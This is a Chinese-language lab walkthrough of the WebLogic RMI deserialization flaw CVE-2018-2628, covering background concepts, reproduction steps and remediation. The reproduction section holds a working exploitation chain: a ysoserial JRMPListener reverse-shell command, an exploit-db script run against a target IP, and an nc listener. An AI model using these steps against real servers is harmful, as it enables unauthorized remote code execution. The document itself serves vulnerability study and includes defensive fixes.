Weblogic漏洞-WebLogic RMI 反序列化
Weblogic漏洞-WebLogic RMI 反序列化
hihopkcCVE-2018-2628
WebLogic RMI 反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据 库中。反序列化是指把字节序列恢复为 Java 对象的过程。
ObjectOutputStream 类的 writeObject() 方法可以实现序列化。
ObjectInputStream 类的 readObject() 方法用于反序列化。
基础知识
weblogic: WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
JRMP:java remote method protocol,Java远程方法协议。 JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI -IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
T3协议:T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。
WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
ysoserial:一种反序列化工具。
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol) 该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点, JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与 weblogic靶机上的7001进行通信达到远程命令执行的目的。
Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation) 是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。允许运行在 一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。
漏洞危害
通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心 构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组 件,影响数据的可用性、保密性和完整性。
漏洞分析
https://www.freebuf.com/vuls/169420.html
https://www.freebuf.com/articles/system/171195.html
漏洞复现
漏洞验证
使用nmap进行T3服务扫描是否开启,发现目标开启了7001端口,T3协议,版本号为 10.3.6.0
或者用脚本检测
漏洞利用反弹shell
下载反序列化漏洞利用工具 ysoserial
1 | wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar |
启动 JRMPListener server
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] |
执行反弹 shell 命令
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -i >& |
由于 Runtime.getRuntime().exec() 中不能使用管道符等 bash 需要的方法,因此需 要对执行的命令进行编码:
编码网站:https://ares-x.com/tools/runtime-exec/
执行后如图,JRMP server监听在1234端口
使用python脚本发送payload
https://www.exploit-db.com/exploits/44553
1 python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient][victim ip]:weblogic ip
[victim port]:weblogic 端口
[path to ysoserial]:ysoserial工具路径
[JRMPListener ip]:JRMP server的IP
[JRMPListener port]:JRMP server监听端口
[JRMPClient]:有JRMPClient或JRMPClient2两个选项
1 python2 44553.py 192.168.247.135 56545 ysoserial.jar 192.168.247.135 1234 JRMPClient
开启监听得到shell
在执行exploit前,在自己接收shell的机器上监听对应端口
1 | nc -lvvp 9090 |
修复方案
1、此漏洞产生于 Weblogic T3 服务,当开放Weblogic控制台端口(默认为7001端 口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏 洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护 Weblogic RMI 这类反序列化漏洞的有效方 式。控制T3服务方式:
- 进入 Weblogic 控制台,在 base_domain 的配置页面中,进入“安全”选项卡页面, 点击“筛选器”,进入连接筛选器配置。
- 在连接筛选器中输入: weblogic.security.net.ConnectionFilterImpl
- 在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s (t3和t3s协议的所有端口只允许本地访问)
- 保存后需重新启动,规则方可生效。
2、更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。